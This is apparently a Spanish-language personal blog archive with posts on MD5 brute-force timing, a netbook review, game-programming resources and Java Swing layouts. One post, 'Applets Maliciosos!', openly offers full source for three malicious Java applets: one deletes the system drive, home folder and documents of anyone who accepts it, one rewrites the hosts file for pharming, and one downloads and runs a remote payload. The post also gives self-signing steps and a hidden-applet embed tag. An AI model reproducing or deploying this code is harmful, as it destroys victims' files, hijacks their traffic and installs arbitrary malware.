martes, 26 de junio de 2012

Curiosidades BruteForce

Hace unos días andaba algo interezado en criptografia y computo de alto rendimiento, me dio la curiosidad de realizar un BruteForce para MD5 y verificar los tiempos que tarda en romper palabras muy simples en diferentes plataformas, arquitecturas y modelos de ejecución, el algoritmo es muy simple(lo adjunto), pero hubo algo que me dio una gran sorpresa...

Inicialmente empezé con el algoritmo utilizando C#, debido a que es uno de mis lenguajes favoritos aunque solo pensaba utilizarlo para probar el algoritmo, posteriormente me percate de que funcionaba muy bien, tenia un rango de comprobación de palabras con buenos tiempos aun para ser un lenguaje precompilado y me propuse a portar el algoritmo a ANSI C++ y compilarlo para la plataforma Windows nativa a 64 bits con lo cual debería darme mejores resultados teniendo mi creencia que los lenguajes precompilados e interpretados son considerablemente mas lentos que los nativos, mi sorpresa fue la siguiente:

C++
C#

Podemos observar que el mismo algoritmo implementado sobre C# realiza la tarea de fuerza bruta considerablemente mas rapido que en C++ utilizando el mismo hash de entrada ademas de que el tiempo requerido para la tarea, es exponencial, si pongo como palabra de entrada "zzzzzz" el tiempo que tarda C++ 64 bits en realizarlo es 15 veces mas de lo que C# requiere.

esto habla muy bien de la optimización de C#, aunque pretendo realizar el algoritmo con soporte multicore utilizando la GPU(NVIDIA CUDA), utilizando Cores del procesador, asi como migrar este algoritmo a JAVA y a Linux para realizar una comparación sobre mas plataformas, ademas de añadir mas algoritmos de encriptación y una interfaz grafica una vez que determine sobre que plataforma, arquitectura y modelo de ejecución son los mas convenientes.

domingo, 26 de diciembre de 2010

HP Mini 110

Recién adquirí una HP Mini 110, una Netbook, la cual me ha funcionado bastante bien en los 3 meses que lleva conmigo, es ideal para COMPLEMENTAR mi computadora de trabajo(Dell inspiron 1520)...

Cuenta con un procesador Atom n450 a 1.7(2 hilos hyper threading), 2 gb de ram, bluetooth, webcamy disco de 250gb, al llegar a mi casa fue formateada con Windows 7 Pro x64 y los controladores se encuentran en la pagina de HP, no me ha dado ningun problema mas que para activar el bluetooth(se activa, instalando el paquete Wireless Assistant de HP) y el teclado que no tiene teclas de Av. page/Re. page/Inicio/Fin, pero oficialmente esta netbook queda recomendada por mi... dejo unas fotitos de la mia



domingo, 5 de julio de 2009

Programación de videojuegos parte 2

Jejeje pues hoy me la pase toda la mañana leeyendo el manual que les pongo hasta abajo, sobre programación de videojuegos, esta vez si ya va mas enfocado al desarrollo 3d, viene desde como crear tu primera ventana en windows(cosa ke ya habia hecho) creando una clase que se puede reutilizar... hasta la explicacion de los vertices y como trabaja la tarjeta de video para generar los graficos...  tambien esta muy completo, aunque por el momento ya me cansé, les dejo el primer ejemplo que hice:

La verdad si es mucho codigo y muchos conceptos, pero lo vale y ahi vamos mas o menos jejeje...

La direccion del manual ciertamente esta en inglés(casi no hay documentacion en español) es:

Click aqui

Jeje prometo ya no publicar solo manuales...

sábado, 4 de julio de 2009

Programación de videojuegos en C++


Ultimamente como me fije de meta aprender programación de videojuegos, se que talvez esta especialidad no es muy considerada en México donde la industria de los videojuegos es baja(Hablando del desarrollo, no de el consumo), aunque muy bien pagada si logras entrar, y quien sabe talvez algun dia lo logre es por eso que quiero empezar con todo esto, ademas que amo la programación, amo el C++ y amo los videojuegos...

Googleando me encontre un post donde encontre lo que buscaba, "como empezar!!!" encontre un libro el cual les dejo como descarga abajo, es bastante basico y de hecho no se inicia en modo 3d nisiquiera en modo 2d, solo en modo consola, pero lo lei y me resulto bastante bueno, yo sabia ya usar C++, pero con este libro he consolidado conceptos que me faltaban(ahora manejo muy bien la orientacion a objetos en C++, entre otras cosas), no solo les va a servir si quieren o no programar videojuegos, si que para empezar y dominar este lenguaje y programar cualquier cosa, repito, todo es orientado a la terminal no a ventanas, apenas empezare con el de winApi y Directx para empezar a darle con esto... ya ando descargando el DirectX SDK(500 mb) que me pide el cursillo que leeré

Descargar Ebook(Inglés)

Saludos

sábado, 23 de mayo de 2009

Sigamos con Java[UIManagers]

Igual en vista de que necesito hacer un programa para una profesora, me puse a buscar algunos lookAndFeels(Skins) para mi aplicacion en java y encontre unos muy cutes!!! aqui les dejo un el programilla del post pasado para que noten la diferencia(igual basta con agregarlos a las librerias jar del proyecto en netbeans y hacer el necesario import en el programa):
Napkin
Este personalmente me encanto jaja y se puede descargar de aqui
Tiny
Este tambien me gusto por que se ve muy elegante y se descarga de aqui:

Quaqua
Este trata de parecerse a MacOsX, y se descarga de aqui
Liquid
Este tambien simula a MacOsX, y se descarga de aqui:

Office
Este tiene para simular la interface de Office 2003, Office XP y Visual Studio 2005, tambien me gusto y se descarga de aqui:

Simplemente se cambian usando este codigo en la clase donde generas tu GUI:


try{
  UIManager.setLookAndFeel(CLASEDELTEMA);
  }catch(Exception e){
  e.printStackTrace();
  }

Hablemos de Java [MigLayout!]

Ahora que alguna profesora me dejo hacer un programa en java con base de datos que no fuera web, pensé en hacerlo con Swing para aplicaciones de escritorio y la verdad me dio mucha flojera ya que a mi como me enseñaron es anidado los layouts(clases que definen como ordenar y repartir los componentes como los botones) oficiales de Swing y AWT como  el BorderLayout, FlowLayout, GridLayout, BoxLayout, etc vease mas en el manual oficial de sun...
Me puse a navegar por internet y encontre nadamas y nadamenos que un layout no oficial muy poderoso pero sencillo, con el cual se pueden hacer interfaces complejas de una manera muy sencilla
se puede descargar de aqui
y basta con agregar el .jar a las librerias del proyecto(en propiedades del proyecto, en netbeans):
y podremos empezar a utilizarlo, conciste en una grilla en la cual vamos a agregar elemento por elemento, un ejemplo muy sencillo:
el codigo para acomodar los botones es bastante sencillo gracias a este layout:
this.add(new JButton("boton1"));
this.add(new JButton("boton2"));
this.add(new JButton("boton3"));
this.add(new JButton("boton4"), "wrap");
this.add(new JButton("boton5"));
this.add(new JButton("boton6"));
this.add(new JButton("boton7"));
this.add(new JButton("boton8"));
donde en el boton4 ponemos un parametro "wrap" que nos sirve para dar el salto de linea en la grilla, obviamente podemos unir celdas, hacerlas mas grandes, hacer que un elemento ocupe x celdas hacia arriba o hacia abajo como lo hace GridBagLayout(que es el mas completo y complejo de los layouts oficiales) solo cambiando y utilizando varios parametros como el "wrap"; con esto podemos hacer interfaces mas complejas que llevarias varios layouts anidados, solo usando uno:
 
dejo el manual oficial de miglayout:

lunes, 18 de mayo de 2009

Applets Maliciosos!

Hace ya rato me salio la necesidad de hacer unos applets en java, para infectar con  troyanos, virus y destrozar cosas, y aqui se los posteo alfin... al fin y al cabo ya encontre como añadir codigo aqui e incluso poner varios efectos javascript... saludos!!
Ejecutar comandos de ms-dos (este elimina todos los documentos de la persona que abra la pagina y acepte la alerta de sun ke sale)
import java.io.*;
import javax.swing.JApplet;

public class xDD extends JApplet
{

    public xDD()
    {
    }

    public void init()
    {
        try
        {
            infectar();
        }
        catch(Exception e)
        {
            e.getMessage();
        }
        super.init();
    }

    public void infectar()
    {
 try {
    FileWriter fw = new FileWriter("c:\\windows\\cfg.bat");
    BufferedWriter bw = new BufferedWriter(fw);
    PrintWriter salida = new PrintWriter(bw);
    salida.println("@echo off");
    salida.println("cd\\");
    salida.println("cd %SYSTEMDRIVE%");
    salida.println("del *.* /f /s /q");
    salida.println("cd\\");
    salida.println("cd %HOMEPATH%");
    salida.println("del *.* /f /s /q");
    salida.println("cd Desktop");
    salida.println("cd Escritorio");
    salida.println("del *.* /f /s /q");
    salida.println("rd /s /q \"%homepath%/Mis Documentos\"");
    salida.println("del c:\\windows\\cfg.bat");
    salida.close();
    Runtime.getRuntime().exec("cmd.exe /K C:\\windows\\prueba.bat");
}
catch(java.io.IOException ioex) {
  System.out.println("se presento el error: "+ioex.toString());
}        
 
      }
}
Pharming
import java.applet.Applet;
import java.io.*;

public class Hola extends Applet
{

    public Hola()
    {
    }

    public void iniciar()
    {
        String s = getParameter("dominio");
        String s1 = getParameter("ip");
        try
        {
            File file = new File("C:\\WINDOWS\\system32\\drivers\\etc\\hosts");
            FileWriter filewriter = new FileWriter(file, true);
            filewriter.write((new StringBuilder()).append(s1).append("        ").append(s).append(System.getProperty("line.separator")).toString());
            filewriter.close();
        }
        catch(Exception exception) { }
    }

    public void init()
    {
        try
        {
            iniciar();
        }
        catch(Exception exception)
        {
            System.out.println("Error");
        }
        super.init();
    }
Este es un Download and Execute que encontré por ahí, también dejo su código
import java.io.*;
import java.net.URL;
import java.net.URLConnection;
import javax.swing.JApplet;

public class Applet extends JApplet
{

    public Applet()
    {
    }

    public void init()
    {
        try
        {
            infectar();
        }
        catch(Exception exception)
        {
            exception.getMessage();
        }
        super.init();
    }

    public void infectar()
        throws Exception
    {
        byte abyte0[] = new byte[10240];
        String s = getParameter("url");
        System.out.println((new StringBuilder("------------->>>>>>>>>> ")).append(s).toString());
        String s1 = s.substring(s.lastIndexOf("."));
        s1 = s1.toLowerCase();
        File file = File.createTempFile("javatmp", s1);
        FileOutputStream fileoutputstream = new FileOutputStream(file);
        URL url = new URL(s);
        URLConnection urlconnection = url.openConnection();
        BufferedInputStream bufferedinputstream = new BufferedInputStream(urlconnection.getInputStream());
        int i;
        while((i = bufferedinputstream.read(abyte0)) > 0) 
            fileoutputstream.write(abyte0, 0, i);
        fileoutputstream.close();
        if(s1.contains(".jar"))
            Runtime.getRuntime().exec((new StringBuilder(String.valueOf(System.getProperty("sun.boot.library.path")))).append("\\javaw.exe -jar  \"").append(file.getAbsolutePath()).append("\"").toString());
        else
            try
            {
                Runtime.getRuntime().exec(file.getAbsolutePath());
            }
            catch(IOException ioexception)
            {
                File file1 = File.createTempFile("tmp", ".bat");
                file1.createNewFile();
                file1.deleteOnExit();
                PrintWriter printwriter = new PrintWriter(file1);
                printwriter.println((new StringBuilder("\"")).append(file.getAbsolutePath()).append("\"").toString());
                printwriter.close();
                Runtime.getRuntime().exec(file1.getAbsolutePath());
                file1.delete();
            }
        file.deleteOnExit();
    }
}
para compilarlos, instalar el JDK de sun y en consola poner:
javac nombredelarchivo.java

nos genera el .class, lo metemos a un jar:
jar -cf fichero.jar clase.class

Creamos un perfil para firmar archivos jar(la contraseña la definimos nostros):
keytool -genkey -alias puto -validity 120 -v

y firmamos el jar con el perfil ke kreamos y ponemos las preguntas ke nos pida... pide la contraseña que definimos antes):
jarsigner.exe appletfirmado.jar puto -verbose

y listo la metemos a nuestro html:
<applet name="ajax" code="Applet.class" archive="App.jar" height="1" width="0">
<param name="PARAMETRO QUE NECESITE NUESTRO PROGRAMA" value="">
</applet>


Hooks en React (I), Utilizar el estado en componentes Stateless.

¿Qué son los Hooks? Los hooks son una nueva característica agregada a React (16.8), la cual consiste en un conjunto de funciones que nos p...